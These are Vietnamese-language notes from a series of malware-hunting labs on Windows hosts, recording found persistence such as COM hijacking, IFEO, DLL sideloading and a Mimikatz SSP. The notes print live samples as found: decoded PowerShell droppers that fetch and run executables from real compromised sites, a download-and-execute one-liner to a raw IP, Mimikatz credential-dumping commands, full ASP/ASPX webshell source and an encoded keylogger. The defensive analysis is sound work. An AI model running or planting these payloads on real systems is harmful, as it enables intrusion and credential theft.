Rà soát mã độc

Lab 1

C:\Users\hunter\AppData\Roaming\ELP84P\System~1.LNK không được verified tạo shortcut đến file độc hại system.exe

System.exe nàm dưới explorer

Có inject thread

Lab 2

Trong autorun, một servise của WinDefend được đăng ký nhưng không verified, và WinDefend cũng không hoạt động

Qua CIGui, phát hiện 2 dll not verified và đều độc hại qua VirusTotal check

Cả 2 đều được load trong process 3276

Về hidservs.dll, tên gốc là

Lab 3

COM gốc bị hijacking

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32

COM hijacking

HKCU\SOFTWARE\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32 HKCR\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32

Qua Virustotal biết được file này là một PE độc hại

Lab 4

Command được mã hóa bằng base64, tham khảo bài viết, decode bằng CyberChef

Sử dụng tool PowerDecode, thu được plainScript

$Auj0pbm='O6l92fc';
new-item $ENv:Temp\WORD\2019\ -itemtype DirecToRY;
[Net.ServicePointManager]::"sECUrITYpROToCOl" = 'tls12, tls11, tls';
$Oddxqgp = 'O1jp0j';
$Qjy_pij=(('X39s')+'0v2');
$Hlttecc=$env:temp+(('{0}word{0}2019{0}')  -f '\')+$Oddxqgp+'.exe';$F05_k3e='Kbcb19_';$Wket1s4=new-object neT.WEbcLIent;$Smyttl7=(('https:')+'//dadieroque.com/wp-admin/dg/*https://sulselekspres.com/cgi-bin/6l0nyO/*https://maulanarumifoundation.com/RumiFoundation/Q9etF/*https://kelas.yec.co.id/srjns/B/*http://caesarmoving.com/wp-content/9s/*https://kinepremins.cl/wp-admin/6wr/*http://dolphininsight.it/wp-includes/LVf/').SPlIt('*');
$Tgxz2c9=(('H2of')+'4xd');
foreach($Cgctt61 in $Smyttl7){try{$Wket1s4.dOWnloaDFiLE($Cgctt61, $Hlttecc);
    $V2arfke='Dovnfho';
    If ((Get-Item $Hlttecc).leNGtH -ge 39850) 
        {Invoke-Item($Hlttecc);$T240cig='Izuo0r3';
    break;
$Qi08tbr=(('Tun')+'rund')}}catch{}}$Knc8ls3='Wq5wurg'

Phát hiện hành vi độc :

Lab 5

HKCU\Environment\UserInitMprLogonScript được sử dụng để chạy các script hoặc lệnh khi người dùng đăng nhập vào hệ thống.

cmd.exe /C "OIS.EXE" log privilege::debug sekurlsa::logonpasswords exit

khả năng cao OIS.EXE là Mimikatz, và dòng lệnh nhằm trích xuất thông tin đăng nhập từ lsass trong mem và thoát

Tìm thấy OIS.EXE trong System.exe

Lab 6

Lab 7

Phát hiện DLL lạ trong AppInit

VirusTotal check là độc

Unload sử dụng CheckInject.exe -unload <PID> <DLL full path>

Lab 8

Đương dân lạ của McAfee

c:\programdata\mcafee\mcafee.exe

Thư mục bị ẩn toàn bộ

Virustotal check được McUtil.dll là độc, khả năng là sideloading

Qua TCPView phát hiện một svchost.exe liên tục scan dải mạng bằng gói SYN

Và một svchost.exe lạ trong procexp có injection code

https://esc.vn/vncert-cong-bo-4-ma-doc-can-ngan-chan-khan-cap-sau-vu-vietnam-airlines-bi-hack/

Lab 9

powershell.exe -ExecutionPolicy Bypass -file C:\ProgramData\Microsoft\install.ps1 -WindowStyle Hidden

Nội dung file install.ps1

powershell -w hidden -enco JABFAGEAcQBlAGsAcQBkAHIAPQAnAFIAZABpAGgAeQBoAG8AawByACcAOwAkAFEAbABpAGQAcwB2AG0AZwB4ACAAPQAgACcANgA5ADcAJwA7ACQAWgBlAGsAcABpAHcAYQBmAGkAZwB5AHcAPQAnAEIAegBuAHAAaQBtAHMAZAB6AGgAegAnADsAJABEAHYAYgBhAHAAcgBlAHgAZwBtAGUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAbABpAGQAcwB2AG0AZwB4ACsAJwAuAGUAeABlACcAOwAkAE4AeQB2AGcAZQB1AG4AYQBtAHUAdgBpAD0AJwBRAHcAbABlAGwAbABpAGcAbwB4AGIAJwA7ACQATQBnAHUAZgBwAHYAYQBzAGsAaABsAHoAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AdwBFAEIAQwBsAGkAZQBuAHQAOwAkAFMAbgBvAHQAdQB6AGoAaQA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYQByAGYAYQBqAGIAZAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AawB4ADQAMwAyADQAMwA0AC8AKgBoAHQAdABwAHMAOgAvAC8AaABlAGYAbwBrAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ANQB6AHUAegA5AGkAcgAwADAANgAwADYALwAqAGgAdAB0AHAAOgAvAC8AaQBjAGwAbwB1AGQAZwByAGEAcABoAGkAYwBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbwAxAGMAdQA3ADYAMgA4AC8AKgBoAHQAdABwADoALwAvAGIAdQBjAGsAZQB0AGwAaQBzAHQAYQBkAHYAdABvAHUAcgBzAC4AYwBvAG0ALwBtADUAXwBlAGQAaQB0AF8AaQB0AGUAbQAvADAANgA2ADAANQBsAGQAMAAzADEAOQA3AC8AKgBoAHQAdABwADoALwAvAG4AYQBhAHYAaQBrAHMAYwBoAG8AbwBsAC4AYwBvAG0ALwBuAGEAYQB2AGkAawBzAGMAaABvAG8AbAAuAGMAbwBtAC8AbwBvAHEAdgBpADcAYQAwADYAOAAyAC8AJwAuACIAUwBQAEwAYABJAHQAIgAoACcAKgAnACkAOwAkAFoAdwBlAGMAcABsAGMAbQBoAG4AegB1AGMAPQAnAE8AZgByAGgAYgB2AGIAZwBvAGMAbwAnADsAZgBvAHIAZQBhAGMAaAAoACQAUwBpAHgAZQBuAGYAaAB1AHYAeABsAG8AdwAgAGkAbgAgACQAUwBuAG8AdAB1AHoAagBpACkAewB0AHIAeQB7ACQATQBnAHUAZgBwAHYAYQBzAGsAaABsAHoALgAiAGQAYABPAHcATgBgAEwATwBhAGQAYABGAGkAbABFACIAKAAkAFMAaQB4AGUAbgBmAGgAdQB2AHgAbABvAHcALAAgACQARAB2AGIAYQBwAHIAZQB4AGcAbQBlACkAOwAkAEgAagB5AGUAdQB4AG8AZQBoAHIAPQAnAEYAZQBqAGoAbABrAGoAYwB0AHIAagBmAHQAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABEAHYAYgBhAHAAcgBlAHgAZwBtAGUAKQAuACIATABgAEUAYABOAEcAVABIACIAIAAtAGcAZQAgADIANgA0ADcANAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYABBAHIAVAAiACgAJABEAHYAYgBhAHAAcgBlAHgAZwBtAGUAKQA7ACQAUABxAGEAYgBiAHEAZgB4AHAAdgB6AGUAdQA9ACcATgBsAGsAdwByAHIAeABjAHIAJwA7AGIAcgBlAGEAawA7ACQAUwBwAGEAcwBrAG0AdwBxAG8APQAnAEUAdgBvAHoAbQB1AHEAbABlAGkAaABrACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAbQBqAGYAcgBvAGkAdwB0AHkAcAB3AD0AJwBNAGgAZQB3AHEAdwBoAHAAaABzACcA

Giải mã sử dụng CyberChef và PowerDecode

$Eaqekqdr = 'Rdihyhokr';
$Qlidsvmgx = '697';
$Zekpiwafigyw = 'Bznpimsdzhz';
$Dvbaprexgme = $env:userprofile + '\' + $Qlidsvmgx + '.exe';
$Nyvgeunamuvi = 'Qwlelligoxb';
$Mgufpvaskhlz = new-object net.wEBClient;

$Snotuzji = 'https://www.arfajbd.com/wp-admin/kx432434/*https://hefok.com/wp-content/5zuz9ir00606/*http://icloudgraphics.com/wp-content/o1cu7628/*http://bucketlistadvtours.com/m5_edit_item/06605ld03197/*http://naavikschool.com/naavikschool.com/ooqvi7a0682/'.SPLIt('*');

$Zwecplcmhnzuc = 'Ofrhbvbgoco';

foreach($Sixenfhuvxlow in $Snotuzji) {
    try {
        $Mgufpvaskhlz.dOwNLOadFilE($Sixenfhuvxlow, $Dvbaprexgme);
        $Hjyeuxoehr = 'Fejjlkjctrjft';
        
        If ((Get-Item $Dvbaprexgme).LENGTH -ge 26474) {
            [Diagnostics.Process]::Start($Dvbaprexgme);
            $Pqabbqfxpvzeu = 'Nlkwrrxcr';
            break;
        }
        
        $Spaskmwqo = 'Evozmuqleihk';
    } catch {}
}

$Imjfroiwtypw = 'Mhewqwhphs';

Script cố gắng tải vào tệp 697.exe và thực thi

Lab 10

Phát hiện một giá trị IFEO lạ

rundll32.exe c:\windows\system32\config:conf.dll,inst

Đường dân gọi đến inst trong một file DLL ẩn trong phần config:conf.dll, sử dung ADS (Alternate Data Streams)

Virustotal check được c:\windows\system32\config:conf.dll là file độc

Chú ý timestamp

Ngoài ra phát hiện inject code

Các mã độc ẩn: C:\Windows\Temp\Vdump.exe

C:\Windows\System32\drivers\dump_roes.sys

Lấy mẫu https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f:

Get-Item c:\windows\system32\config | Get-Content -Stream conf.dll | Set-Content -Path config_conf.dll

Hoặc

expand C:\windows\system32\config:conf.dll C:\Users\Gee\Desktop\conf1.dll

Hoặc

$adsContent = Get-Content -Path "C:\windows\system32\config:conf.dll" -Raw -Encoding Byte [System.IO.File]::WriteAllBytes("C:\Users\Gee\Desktop\conf.dll", $adsContent)

Gỡ bỏ:

Remove-Item c:\windows\system32\config -Stream conf.dll

Lab 11

Phát hiện UltraViewService

Image Hijacking với IFEO: Khi người dùng mở sethc.exe được thay thế bằng cmd.exe, thường là nhấn Shift 5 lần, Command Prompt sẽ xuất hiệnquyền hệ thống (SYSTEM)

https://www.pandasecurity.com/en/mediacenter/sticky-attacks-when-the-operating-system-turns-against-you/

Lab 12

Một Network Provider được thêm vào HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order

Có thể nhằm mục tiêu lấy thông tin xác thực của người dùng, tham khảo

bài viết khác

Lab 13

Phát hiện chương trình thực thi bất thường "C:\Program Files\PRTG Network Monitor\lsm.exe" trong HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 12/25/2020 11:16 AM

File thực thi được verify tuy nhiên nhưng phát hiện nó load một DLL không verify

Lab 14

Phát hiện Image Path C:\Windows\QcConsol.exe lạ trong các khóa registry nhạy cảm

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Command line: C:\Windows\QcConsol.exe -LowIntegrityServer

Trong thư mục nhạy cảm, phát hiện QcConsol.exe, QcLite.dll, stdole.tlb được ẩn

VirusTotal check QcLite.dll là độc hại, được đặt cùng thư mục với QcConsol.exe hợp lệ, khả năng là Dll sideload. Check inject code

Xóa registry key, kill QcConsol.exe, sau vài giây xuất hiện một QcConsol.exe khác nằm trong dllhst3gexe

Sau một khoảng thơi gian, dllhst3g.exe tự biến mất, một dllhst3g.exe khác tự sinh ra độc lập

Key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run đã xóa đã được tạo lại

Chỉ kill dllhst3g.exe thì sau một lúc cũng xuất hiện trở lại

Lab 15

commandline: powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://39.109.114.56:80/a'))

Lab 16

Detect Webshell

<!--
ASP Webshell
Working on latest IIS 
Referance :- 
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp
http://stackoverflow.com/questions/11501044/i-need-execute-a-command-line-in-a-visual-basic-script
http://www.w3schools.com/asp/
-->


<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>


<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's local address:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
</HTML>

Webshell cho phép lấy thông tin và RCE

Task Scheduler thực thi mã độc

Lab 17

mimilib.dll được thêm vào khóa HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

Dấu hiệu của Custom SSP

mimilib.dlltệp nhị phân do Mimikatz cung cấp. Khi đặt tệp vào C:\Windows\System32\ và

thêm mimilib.dll vào Security Support Provider list (Security Packages):

reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"

Sau khi khởi động lại tất cả thông tin xác thực có thể tìm thấy dạng cleartext tại C:\Windows\System32\kiwissp.log

Lab 18

Phát hiện Webshell

Form cho phép RCE

<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>

<script runat="server">      

Sub RunCmd(Src As Object, E As EventArgs)            
  Dim myProcess As New Process()            
  Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)            
  myProcessStartInfo.UseShellExecute = false            
  myProcessStartInfo.RedirectStandardOutput = true            
  myProcess.StartInfo = myProcessStartInfo            
  myProcessStartInfo.Arguments=xcmd.text            
  myProcess.Start()            

  Dim myStreamReader As StreamReader = myProcess.StandardOutput            
  Dim myString As String = myStreamReader.Readtoend()            
  myProcess.Close()            
  mystring=replace(mystring,"<","&lt;")            
  mystring=replace(mystring,">","&gt;")            
  result.text= vbcrlf & "<pre>" & mystring & "</pre>"    
End Sub

</script>

<html>
<body>    
<form runat="server">        
<p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>        
<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>        
<p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>        
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>        
<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>        
<p><asp:Label id="result" runat="server"></asp:Label>       
</form>
</body>
</html>

Task Scheduler bất thường: Commandline "C:\Windows\apppatch\NvSmart.exe"

NvSmart.exe là hợp lệ nhưng phát hiện nó load một dll not verified độc: NvSmartMax.dll

Lab 19

Phát hiện Webshell

<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script runat="server">
    private const string AUTHKEY = "woanware";
    private const string HEADER = "<html>\n<head>\n<title>filesystembrowser</title>\n<style type=\"text/css\"><!--\nbody,table,p,pre,form input,form select {\n font-family: \"Lucida Console\", monospace;\n font-size: 88%;\n}\n-->\n</style></head>\n<body>\n";
    private const string FOOTER = "</body>\n</html>\n";

    /// <summary>
    /// 
    /// </summary>
    /// <param name="sender"></param>
    /// <param name="e"></param>
    protected void Page_Load(object sender, EventArgs e)
    {
        try
        {
            if (Request.Params["authkey"] == null)
            {
                Response.Write(HEADER);
                Response.Write(this.GetUploadControls());
                Response.Write(FOOTER);
                return;
            }

            if (Request.Params["authkey"] != AUTHKEY)
            {
                Response.Write(HEADER);
                Response.Write(this.GetUploadControls());
                Response.Write(FOOTER);
                return;
            }
            
            if (Request.Params["operation"] != null)
            {
                if (Request.Params["operation"] == "upload")
                {
                    Response.Write(HEADER);
                    Response.Write(this.UploadFile());
                    Response.Write(FOOTER);
                }
                else
                {
                    Response.Write(HEADER);
                    Response.Write("Unknown operation");
                    Response.Write(FOOTER);
                }
            }
            else
            {
                Response.Write(HEADER);
                Response.Write(this.GetUploadControls());
                Response.Write(FOOTER);
            }
        }
        catch (Exception ex)
        {
            Response.Write(HEADER);
            Response.Write(ex.Message);
            Response.Write(FOOTER);
        }
    }

    /// <summary>
    /// 
    /// </summary>
    private string UploadFile()
    {
        try
        {
            if (Request.Params["authkey"] == null)
            {
                return string.Empty;
            }

            if (Request.Params["authkey"] != AUTHKEY)
            {
                return string.Empty;
            }
            
            if (Request.Files.Count != 1)
            {
                return "No file selected";
            }

            HttpPostedFile httpPostedFile = Request.Files[0];

            int fileLength = httpPostedFile.ContentLength;
            byte[] buffer = new byte[fileLength];
            httpPostedFile.InputStream.Read(buffer, 0, fileLength);

            FileInfo fileInfo = new FileInfo(Request.PhysicalPath);
            using (FileStream fileStream = new FileStream(Path.Combine(fileInfo.DirectoryName, Path.GetFileName(httpPostedFile.FileName)), FileMode.Create))
            {
                fileStream.Write(buffer, 0, buffer.Length);
            }

            return "File uploaded";
        }
        catch (Exception ex)
        {
            return ex.ToString();
        }
    }

    /// <summary>
    /// 
    /// </summary>
    /// <returns></returns>
    private string GetUploadControls()
    {
        string temp = string.Empty;

        temp = "<form enctype=\"multipart/form-data\" action=\"?operation=upload\" method=\"post\">";
        temp += "<br>Auth Key: <input type=\"text\" name=\"authKey\"><br>";
        temp += "<br>Please specify a file: <input type=\"file\" name=\"file\"></br>";
        temp += "<div><input type=\"submit\" value=\"Send\"></div>";
        temp += "</form>";

        return temp;
    }
</script>

<!-- Created by Mark Woan (http://www.woanware.co.uk) -->

Webshell cho phép upload file tùy ý

Phát hiện một Task Scheduler lạ chạy powershell khi logon

Thực thi

powershell -windowstyle hidden -EncodedCommand IwByAGUAcQB1AGkAcgBlAHMAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAZgB1AG4AYwB0AGkAbwBuACAAUwB0AGEAcgB0AC0ASwBlAHkATABvAGcAZwBlAHIAKAAkAFAAYQB0AGgAPQAiACQAZQBuAHYAOgB0AGUAbQBwAFwAbABvAGcAZgBpAGwAZQAuAHQAeAB0ACIAKQAgAAoAewAKACAAIAAjACAAUwBpAGcAbgBhAHQAdQByAGUAcwAgAGYAbwByACAAQQBQAEkAIABDAGEAbABsAHMACgAgACAAJABzAGkAZwBuAGEAdAB1AHIAZQBzACAAPQAgAEAAJwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACwAIABFAHgAYQBjAHQAUwBwAGUAbABsAGkAbgBnAD0AdAByAHUAZQApAF0AIAAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHMAaABvAHIAdAAgAEcAZQB0AEEAcwB5AG4AYwBLAGUAeQBTAHQAYQB0AGUAKABpAG4AdAAgAHYAaQByAHQAdQBhAGwASwBlAHkAQwBvAGQAZQApADsAIAAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARwBlAHQASwBlAHkAYgBvAGEAcgBkAFMAdABhAHQAZQAoAGIAeQB0AGUAWwBdACAAawBlAHkAcwB0AGEAdABlACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATQBhAHAAVgBpAHIAdAB1AGEAbABLAGUAeQAoAHUAaQBuAHQAIAB1AEMAbwBkAGUALAAgAGkAbgB0ACAAdQBNAGEAcABUAHkAcABlACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAVABvAFUAbgBpAGMAbwBkAGUAKAB1AGkAbgB0ACAAdwBWAGkAcgB0AEsAZQB5ACwAIAB1AGkAbgB0ACAAdwBTAGMAYQBuAEMAbwBkAGUALAAgAGIAeQB0AGUAWwBdACAAbABwAGsAZQB5AHMAdABhAHQAZQAsACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAHAAdwBzAHoAQgB1AGYAZgAsACAAaQBuAHQAIABjAGMAaABCAHUAZgBmACwAIAB1AGkAbgB0ACAAdwBGAGwAYQBnAHMAKQA7AAoAJwBAAAoACgAgACAAIwAgAGwAbwBhAGQAIABzAGkAZwBuAGEAdAB1AHIAZQBzACAAYQBuAGQAIABtAGEAawBlACAAbQBlAG0AYgBlAHIAcwAgAGEAdgBhAGkAbABhAGIAbABlAAoAIAAgACQAQQBQAEkAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABzAGkAZwBuAGEAdAB1AHIAZQBzACAALQBOAGEAbQBlACAAJwBXAGkAbgAzADIAJwAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABBAFAASQAgAC0AUABhAHMAcwBUAGgAcgB1AAoAIAAgACAAIAAKACAAIAAjACAAYwByAGUAYQB0AGUAIABvAHUAdABwAHUAdAAgAGYAaQBsAGUACgAgACAAJABuAHUAbABsACAAPQAgAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAUABhAHQAaAAgAC0ASQB0AGUAbQBUAHkAcABlACAARgBpAGwAZQAgAC0ARgBvAHIAYwBlAAoACgAgACAAdAByAHkACgAgACAAewAKACAAIAAgACAAIwBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJwBSAGUAYwBvAHIAZABpAG4AZwAgAGsAZQB5ACAAcAByAGUAcwBzAGUAcwAuACAAUAByAGUAcwBzACAAQwBUAFIATAArAEMAIAB0AG8AIABzAGUAZQAgAHIAZQBzAHUAbAB0AHMALgAnACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAFIAZQBkAAoACgAgACAAIAAgACMAIABjAHIAZQBhAHQAZQAgAGUAbgBkAGwAZQBzAHMAIABsAG8AbwBwAC4AIABXAGgAZQBuACAAdQBzAGUAcgAgAHAAcgBlAHMAcwBlAHMAIABDAFQAUgBMACsAQwAsACAAZgBpAG4AYQBsAGwAeQAtAGIAbABvAGMAawAKACAAIAAgACAAIwAgAGUAeABlAGMAdQB0AGUAcwAgAGEAbgBkACAAcwBoAG8AdwBzACAAdABoAGUAIABjAG8AbABsAGUAYwB0AGUAZAAgAGsAZQB5ACAAcAByAGUAcwBzAGUAcwAKACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANAAwAAoAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAjACAAcwBjAGEAbgAgAGEAbABsACAAQQBTAEMASQBJACAAYwBvAGQAZQBzACAAYQBiAG8AdgBlACAAOAAKACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGEAcwBjAGkAaQAgAD0AIAA5ADsAIAAkAGEAcwBjAGkAaQAgAC0AbABlACAAMgA1ADQAOwAgACQAYQBzAGMAaQBpACsAKwApACAAewAKACAAIAAgACAAIAAgACAAIAAjACAAZwBlAHQAIABjAHUAcgByAGUAbgB0ACAAawBlAHkAIABzAHQAYQB0AGUACgAgACAAIAAgACAAIAAgACAAJABzAHQAYQB0AGUAIAA9ACAAJABBAFAASQA6ADoARwBlAHQAQQBzAHkAbgBjAEsAZQB5AFMAdABhAHQAZQAoACQAYQBzAGMAaQBpACkACgAKACAAIAAgACAAIAAgACAAIAAjACAAaQBzACAAawBlAHkAIABwAHIAZQBzAHMAZQBkAD8ACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHQAZQAgAC0AZQBxACAALQAzADIANwA2ADcAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABbAGMAbwBuAHMAbwBsAGUAXQA6ADoAQwBhAHAAcwBMAG8AYwBrAAoACgAgACAAIAAgACAAIAAgACAAIAAgACMAIAB0AHIAYQBuAHMAbABhAHQAZQAgAHMAYwBhAG4AIABjAG8AZABlACAAdABvACAAcgBlAGEAbAAgAGMAbwBkAGUACgAgACAAIAAgACAAIAAgACAAIAAgACQAdgBpAHIAdAB1AGEAbABLAGUAeQAgAD0AIAAkAEEAUABJADoAOgBNAGEAcABWAGkAcgB0AHUAYQBsAEsAZQB5ACgAJABhAHMAYwBpAGkALAAgADMAKQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAjACAAZwBlAHQAIABrAGUAeQBiAG8AYQByAGQAIABzAHQAYQB0AGUAIABmAG8AcgAgAHYAaQByAHQAdQBhAGwAIABrAGUAeQBzAAoAIAAgACAAIAAgACAAIAAgACAAIAAkAGsAYgBzAHQAYQB0AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEIAeQB0AGUAWwBdACAAMgA1ADYACgAgACAAIAAgACAAIAAgACAAIAAgACQAYwBoAGUAYwBrAGsAYgBzAHQAYQB0AGUAIAA9ACAAJABBAFAASQA6ADoARwBlAHQASwBlAHkAYgBvAGEAcgBkAFMAdABhAHQAZQAoACQAawBiAHMAdABhAHQAZQApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACMAIABwAHIAZQBwAGEAcgBlACAAYQAgAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAIAB0AG8AIAByAGUAYwBlAGkAdgBlACAAaQBuAHAAdQB0ACAAawBlAHkACgAgACAAIAAgACAAIAAgACAAIAAgACQAbQB5AGMAaABhAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAjACAAdAByAGEAbgBzAGwAYQB0AGUAIAB2AGkAcgB0AHUAYQBsACAAawBlAHkACgAgACAAIAAgACAAIAAgACAAIAAgACQAcwB1AGMAYwBlAHMAcwAgAD0AIAAkAEEAUABJADoAOgBUAG8AVQBuAGkAYwBvAGQAZQAoACQAYQBzAGMAaQBpACwAIAAkAHYAaQByAHQAdQBhAGwASwBlAHkALAAgACQAawBiAHMAdABhAHQAZQAsACAAJABtAHkAYwBoAGEAcgAsACAAJABtAHkAYwBoAGEAcgAuAEMAYQBwAGEAYwBpAHQAeQAsACAAMAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHUAYwBjAGUAcwBzACkAIAAKACAAIAAgACAAIAAgACAAIAAgACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIABhAGQAZAAgAGsAZQB5ACAAdABvACAAbABvAGcAZwBlAHIAIABmAGkAbABlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQQBwAHAAZQBuAGQAQQBsAGwAVABlAHgAdAAoACQAUABhAHQAaAAsACAAJABtAHkAYwBoAGEAcgAsACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQApACAACgAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgAH0ACgAgACAAIAAgAH0ACgAgACAAfQAKACAAIABmAGkAbgBhAGwAbAB5AAoAIAAgAHsACgAgACAAIAAgACMAIABvAHAAZQBuACAAbABvAGcAZwBlAHIAIABmAGkAbABlACAAaQBuACAATgBvAHQAZQBwAGEAZAAKACAAIAAgACAAIwAgAG4AbwB0AGUAcABhAGQAIAAkAFAAYQB0AGgACgAgACAAfQAKAH0ACgAKACMAIAByAGUAYwBvAHIAZABzACAAYQBsAGwAIABrAGUAeQAgAHAAcgBlAHMAcwBlAHMAIAB1AG4AdABpAGwAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAYgBvAHIAdABlAGQAIABiAHkAIABwAHIAZQBzAHMAaQBuAGcAIABDAFQAUgBMACsAQwAKACMAIAB3AGkAbABsACAAdABoAGUAbgAgAG8AcABlAG4AIAB0AGgAZQAgAGYAaQBsAGUAIAB3AGkAdABoACAAYwBvAGwAbABlAGMAdABlAGQAIABrAGUAeQAgAGMAbwBkAGUAcwAKAFMAdABhAHIAdA